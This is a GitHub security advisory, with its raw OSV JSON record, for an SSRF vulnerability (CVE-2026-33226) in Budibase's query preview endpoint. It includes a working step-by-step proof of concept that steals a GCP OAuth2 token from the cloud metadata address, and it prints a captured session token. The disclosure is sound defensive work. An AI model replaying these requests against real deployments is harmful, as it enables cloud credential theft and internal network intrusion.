GHSA-4647-WPJQ-HH7F

Vulnerability from github – Published: 2026-03-18 20:22 – Updated: 2026-03-25 18:15
VLAI
Summary
Budibase Unrestricted Server-Side Request Forgery (SSRF) via REST Datasource Query Preview
Details

Summary

The REST datasource query preview endpoint (POST /api/queries/preview) makes server-side HTTP requests to any URL supplied by the user in fields.path with no validation. An authenticated admin can reach internal services that are not exposed to the internet — including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with cloud-platform scope (full GCP access). On any deployment it enables full internal network enumeration.

Details

The vulnerable handler is in packages/server/src/api/controllers/query.ts (preview()). It reads fields.path from the request body and passes it directly to the REST HTTP client without any IP or hostname validation:

fields.path  →  RestClient.read({ path })  →  node-fetch(path)

No blocklist exists for: - Loopback (127.0.0.1, ::1) - RFC 1918 ranges (10.x.x.x, 172.16-31.x.x, 192.168.x.x) - Link-local / cloud metadata (169.254.x.x) - Internal Kubernetes DNS (.svc.cluster.local)

The datasourceId field must reference an existing REST-type datasource. This is trivially obtained via GET /api/datasources (lists all datasources with their IDs) or created on-demand with a single POST — no base URL is required and fields.path overrides it entirely.

PoC

Step 1 — Get session token

POST /api/global/auth/default/login HTTP/1.1
Host: budibase.dev.com
Content-Type: application/json

{"username": "admin@example.com", "password": "password"}

Response sets Cookie: budibase:auth=<JWT>.

Step 2 — Get a REST datasourceId

GET /api/datasources HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b

Pick any _id where "source": "REST".

Captured from this engagement: - Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs - App ID: app_dev_3dbfeba315fd4baa8fb6202fe517e93b - REST datasource ID: datasource_49d5a1ed1c6149e48c4de0923e5b20c5

Step 3 — Send SSRF request

Change fields.path to any internal URL. Examples below.

3a. Cloud metadata — GCP OAuth2 token

POST /api/queries/preview HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b
Content-Type: application/json

{
  "datasourceId": "datasource_49d5a1ed1c6149e48c4de0923e5b20c5",
  "name": "ssrf", "parameters": [], "transformer": "return data", "queryVerb": "read",
  "fields": {
    "path": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
    "headers": {"Metadata-Flavor": "Google"},
    "queryString": "", "requestBody": ""
  },
  "schema": {}
}

Response:

{"access_token": "ya29.d.c0AZ4bNpYDUK...", "expires_in": 3598, "token_type": "Bearer"}

Impact

What kind of vulnerability is it? Who is impacted? Any authenticated admin/builder user can make the Budibase server issue HTTP requests to any network-reachable address. Confirmed impact on this engagement:

  • Cloud credential theft — GCP OAuth2 token with cloud-platform scope stolen from 169.254.169.254. Token verified valid against GCP Projects API, granting full access to all GCP services in the project.
  • Internal database access — CouchDB reached at budibase-svc-couchdb:5984 with extracted credentials, exposing all application data.
  • Internal service enumeration — MinIO (minio-service:9000), Redis, and internal worker APIs (127.0.0.1:4002) all reachable.
  • Kubernetes cluster access — K8s API server reachable at kubernetes.default.svc using the pod's mounted service account token.

The vulnerability affects all deployment environments (GCP, AWS, Azure, bare-metal, Docker Compose, Kubernetes). The specific impact depends on what services are reachable from the Budibase pod, but cloud metadata theft is possible on any cloud-hosted instance.

Detected by: Abdulrahman Albatel Abdullah Alrasheed

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "budibase"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.30.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33226"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T20:22:11Z",
    "nvd_published_at": "2026-03-20T23:16:46Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe REST datasource query preview endpoint (`POST /api/queries/preview`) makes server-side HTTP requests to any URL supplied by the user in `fields.path` with no validation. An authenticated admin can reach internal services that are not exposed to the internet \u2014 including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with `cloud-platform` scope (full GCP access). On any deployment it enables full internal network enumeration.\n\n### Details\n\nThe vulnerable handler is in `packages/server/src/api/controllers/query.ts` (`preview()`). It reads `fields.path` from the request body and passes it directly to the REST HTTP client without any IP or hostname validation:\n\n```\nfields.path  \u2192  RestClient.read({ path })  \u2192  node-fetch(path)\n```\n\nNo blocklist exists for:\n- Loopback (`127.0.0.1`, `::1`)\n- RFC 1918 ranges (`10.x.x.x`, `172.16-31.x.x`, `192.168.x.x`)\n- Link-local / cloud metadata (`169.254.x.x`)\n- Internal Kubernetes DNS (`.svc.cluster.local`)\n\nThe `datasourceId` field must reference an existing REST-type datasource. This is trivially obtained via `GET /api/datasources` (lists all datasources with their IDs) or created on-demand with a single POST \u2014 no base URL is required and `fields.path` overrides it entirely.\n\n### PoC\n\n**Step 1 \u2014 Get session token**\n```http\nPOST /api/global/auth/default/login HTTP/1.1\nHost: budibase.dev.com\nContent-Type: application/json\n\n{\"username\": \"admin@example.com\", \"password\": \"password\"}\n```\nResponse sets `Cookie: budibase:auth=\u003cJWT\u003e`.\n\n**Step 2 \u2014 Get a REST datasourceId**\n```http\nGET /api/datasources HTTP/1.1\nHost: budibase.dev.com\nCookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs\nx-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b\n```\nPick any `_id` where `\"source\": \"REST\"`.\n\nCaptured from this engagement:\n- Token: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs`\n- App ID: `app_dev_3dbfeba315fd4baa8fb6202fe517e93b`\n- REST datasource ID: `datasource_49d5a1ed1c6149e48c4de0923e5b20c5`\n\n**Step 3 \u2014 Send SSRF request**\n\nChange `fields.path` to any internal URL. Examples below.\n\n**3a. Cloud metadata \u2014 GCP OAuth2 token**\n```http\nPOST /api/queries/preview HTTP/1.1\nHost: budibase.dev.com\nCookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs\nx-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b\nContent-Type: application/json\n\n{\n  \"datasourceId\": \"datasource_49d5a1ed1c6149e48c4de0923e5b20c5\",\n  \"name\": \"ssrf\", \"parameters\": [], \"transformer\": \"return data\", \"queryVerb\": \"read\",\n  \"fields\": {\n    \"path\": \"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token\",\n    \"headers\": {\"Metadata-Flavor\": \"Google\"},\n    \"queryString\": \"\", \"requestBody\": \"\"\n  },\n  \"schema\": {}\n}\n```\nResponse:\n```json\n{\"access_token\": \"ya29.d.c0AZ4bNpYDUK...\", \"expires_in\": 3598, \"token_type\": \"Bearer\"}\n```\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nAny authenticated admin/builder user can make the Budibase server issue HTTP requests to any network-reachable address. Confirmed impact on this engagement:\n\n- **Cloud credential theft** \u2014 GCP OAuth2 token with `cloud-platform` scope stolen from `169.254.169.254`. Token verified valid against GCP Projects API, granting full access to all GCP services in the project.\n- **Internal database access** \u2014 CouchDB reached at `budibase-svc-couchdb:5984` with extracted credentials, exposing all application data.\n- **Internal service enumeration** \u2014 MinIO (`minio-service:9000`), Redis, and internal worker APIs (`127.0.0.1:4002`) all reachable.\n- **Kubernetes cluster access** \u2014 K8s API server reachable at `kubernetes.default.svc` using the pod\u0027s mounted service account token.\n\nThe vulnerability affects **all deployment environments** (GCP, AWS, Azure, bare-metal, Docker Compose, Kubernetes). The specific impact depends on what services are reachable from the Budibase pod, but cloud metadata theft is possible on any cloud-hosted instance.\n\n\n\n\nDetected by:\nAbdulrahman Albatel\nAbdullah Alrasheed",
  "id": "GHSA-4647-wpjq-hh7f",
  "modified": "2026-03-25T18:15:24Z",
  "published": "2026-03-18T20:22:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4647-wpjq-hh7f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33226"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase Unrestricted Server-Side Request Forgery (SSRF) via REST Datasource Query Preview"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…